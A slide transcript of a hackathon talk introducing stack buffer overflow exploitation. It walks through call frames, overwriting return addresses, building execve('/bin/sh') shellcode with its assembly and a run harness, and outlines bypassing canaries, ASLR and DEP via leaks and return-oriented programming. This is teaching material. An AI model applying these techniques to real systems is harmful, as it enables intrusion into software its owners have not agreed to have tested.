Top Banner
Software to the Slaughter Shane Wilton
35

Software to the slaughter

Jun 23, 2015

Download

Software

Shane Wilton

An introduction to exploit development.

I gave this talk at Hack the North 2014, and most of this information is pulled out of classics like Smashing the Stack for Fun and Profit, so there shouldn't be anything novel in here.
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Software to the slaughter

Software to the SlaughterShane Wilton

Page 2: Software to the slaughter

Who am I?

Page 3: Software to the slaughter

TL;DR I hack stuff.

Page 4: Software to the slaughter

Agenda

1. Anatomy of a stack2. Smashing it3. Real (wo)men program

in shellcode4. Canaries, DEP, and

ASLR, oh my!5. Hack the planet.

Page 5: Software to the slaughter

WTF is a stack?!?

● Three types of memory regions:a. Text

Program code, read-onlyb. Data

Static variables The heap

c. Stack Where the magic happens

Page 6: Software to the slaughter

Data Structures 101 - Stacks

● An abstract data type with two operationso PUSH - Adds an element to the start of a collectiono POP - Removes an element from the end of a

collection● Last-In-First-Out

o Imagine a stack of paper

Page 7: Software to the slaughter

...and that’s useful because?

● Used to implement functions at a low-level

● Returning from procedures, passing arguments, etc

Page 8: Software to the slaughter

Calling a Function

void foo(int a, int b) {char buffer[10]; } void main() {foo(1, 2); }

● Push the arguments onto the stack, in reverse order

● Push the instruction pointer onto the stack

● Allocate space for the variables in foo

Page 9: Software to the slaughter

Calling a Function

pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp

SP

Heap

Page 10: Software to the slaughter

Calling a Function

pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp

2

SP

Heap

Page 11: Software to the slaughter

Calling a Function

pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp

2

1

SP

Heap

Page 12: Software to the slaughter

Calling a Function

pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp

2

1

Return Address (EIP)

SP

Heap

Page 13: Software to the slaughter

Calling a Function

pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp

2

1

Return Address (EIP)

Old Frame Pointer (EBP)

SP

Heap

Page 14: Software to the slaughter

Calling a Function

pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp

2

1

Return Address (EIP)

Old Frame Pointer (EBP)

SP and FP

Heap

Page 15: Software to the slaughter

Calling a Function

pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp

2

1

Return Address (EIP)

Old Frame Pointer (EBP)

FP

12-Byte Buffer

SP

Heap

Page 16: Software to the slaughter

Returning From a Function

1. POP the old frame pointer off FP

2. Set SP to thisvalue

3. POP the returnaddress off thestack

4. Jump to this address

2

1

Return Address (EIP)

Old Frame Pointer (EBP)

FP

12-Byte Buffer

SP

Heap

Page 17: Software to the slaughter

What does this mean?

● If unchecked, the buffer can overrun into the rest of the stack!

● Buffer overflow attacko Overwrite return addresso Overwrite local variableso Own the system.

● What if we fill the buffer with: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA….

Page 18: Software to the slaughter

Segmentation Fault!

2

1

Return Address (EIP)

Old Frame Pointer (EBP)

12-Byte Buffer

Heap

0x41414141

0x41414141

0x41414141

0x41414141

0x414141410x414141410x41414141

Heap

Page 19: Software to the slaughter

Returning Fr- wait what?

void bar() {printf(“Hack the North!”);

}void foo(int a, int b) {

char buffer[10]; int *ret;ret = buffer + 12;(*ret) = &bar;}

● foo overwrites an address after the buffer to point to bar

● We just overwrote foo’s return address!

● An attacker can use this for evil.o Assume the buffer is

filled with unchecked user input

Page 20: Software to the slaughter

Shellcode, or How I learned to Stop Worrying and Love the Compiler

● By overwriting the return address, we can run any code in the programo What if the code we want isn’t in the program?o Add it! Put our code in the buffer, and jump to it

● We need bytecode that will spawn a shell - shellcode!

Page 21: Software to the slaughter

Putting the ‘C” in Shellcode

#include <stdio.h>

void main() { char *name[2];

name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL);}

$ gcc -o shellcode -ggdb -static shellcode.c$ gdb shellcode$ disassemble main0x8000130 <main>: pushl %ebp0x8000131 <main+1>: movl %esp,%ebp0x8000133 <main+3>: subl $0x8,%esp0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)0x8000144 <main+20>: pushl $0x00x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax0x8000149 <main+25>: pushl %eax0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax0x800014d <main+29>: pushl %eax0x800014e <main+30>: call 0x80002bc <__execve>0x8000153 <main+35>: addl $0xc,%esp0x8000156 <main+38>: movl %ebp,%esp0x8000158 <main+40>: popl %ebp0x8000159 <main+41>: ret

Page 22: Software to the slaughter

WTF does that mean?0x8000130 <main>: pushl %ebp0x8000131 <main+1>: movl %esp,%ebp0x8000133 <main+3>: subl $0x8,%esp0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)0x8000144 <main+20>: pushl $0x00x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax0x8000149 <main+25>: pushl %eax0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax0x800014d <main+29>: pushl %eax0x800014e <main+30>: call 0x80002bc <__execve>0x8000153 <main+35>: addl $0xc,%esp0x8000156 <main+38>: movl %ebp,%esp0x8000158 <main+40>: popl %ebp0x8000159 <main+41>: ret

0x8000130 <main>: Save the frame pointer0x8000131 <main+1>: Move the stack pointer0x8000133 <main+3>: Allocate space for the ‘name’ buffer 0x8000136 <main+6>: Copy the address of “/bin/sh” into the buffer0x800013d <main+13>: Copy NULL into the buffer0x8000144 <main+20>: Push NULL onto the stack0x8000146 <main+22>: Load the address of our buffer into EAX0x8000149 <main+25>: Push that address onto the stack0x800014a <main+26>: Load the address of ‘/bin/sh’ into EAX0x800014d <main+29>: Push that address onto the stack0x800014e <main+30>: Call execve

Page 23: Software to the slaughter

And now for execve...

● Disassemble execve too● Not going to show it here, but go through the same

process.● We need…

o EAX = 0xBo ECX points to “/bin/sh”o EDX points to NULL

● Then call “int $0x80”

Page 24: Software to the slaughter

Let’s write that in assembly...

jmp 0x2a popl %esi movl %esi,0x8(%esi) movb $0x0,0x7(%esi) movl $0x0,0xc(%esi) movl $0xb,%eax movl %esi,%ebx

leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 .string \"/bin/sh\"

● Compile this with NASM, and grab the hexadecimal representation…

● \xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00… etc

● Watch this.

Page 25: Software to the slaughter

Shellcoder? I hardly know her!

char shellcode[] = <our shellcode>;

void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode;}

shane $ gcc -o sc sc.cshane $ ./sc$ exitshane $

Page 26: Software to the slaughter

Putting It Together

● Find a buffer overflow

● Find a way of exploiting it

● Fill some buffer with shellcode

● Use your overflow to jump to it

Page 27: Software to the slaughter

It’s not that easy.

● Nowadays, operating systems are smarter than that● Shellcode restrictions

o No NULL bytes allowedo Only alphanumeric characters, etc

● Stack Canaries● Address Space Layout Randomization● Data Execution Prevention● We can defeat all of these methods.

Page 28: Software to the slaughter

Stack Canaries

● Essentially checksums● Placed after a buffer

o Overflowing the buffer will overwrite the canaryo If the canary is wrong, handle the overflow

● Generated by the compiler.● Use another exploit to leak memory

o printf format string exploits for example

Page 29: Software to the slaughter

ASLR

● At runtime, randomize the positions of important memory regionso The stack, the heap, data segment, etc

● Like stack canaries, need a memory leak to bypasso Leak the address of a buffero Create a NOP-sled and guesso Plenty of techniques

Page 30: Software to the slaughter

Data Execution Prevention

● Mark memory segments as either writable or executableo Never both!

● We can’t put our shellcode on the stack anymore.

● Use return-oriented programming

Page 31: Software to the slaughter

Return-Oriented Programming

● Construct our payload entirely of “Gadgets” found in the existing codeso Sub-sequences of assembly found at the end of

existing functions● Chain them together by overwriting return

addresses on the stack● Always possible!*

Page 32: Software to the slaughter

Nothing is Safe.

● Exploit development is hard.o Really hard.o Target architectures you’ve never used beforeo Fail cleanly to avoid detection

● But!o No protection is infallibleo It’s fun. Like, really fun. More on this later.

Page 33: Software to the slaughter

You Can (and should) do it!

● Capture the Flag - competitive hackingo The hackathons of securityo There’s always one going on

CSAW is running right now, it’s for college students with no security experience

● Incredibly fun problems.o For example...

Page 34: Software to the slaughter

Polyglot

● Write an exploit that will run on four machineso x86o ARM Little-Endiano ARM Big-Endiano PowerPC

● Insane implications for the internet of things

● Read my talk on solving it with graph theory

Page 35: Software to the slaughter

Getting Started

● Micro Corruption - a 20 problem CTF built by Square and Matasano Security for teaching exploit development

● Compete! Right now! Seriously, this weekend!o CSAW - You can solve some of these, I promise.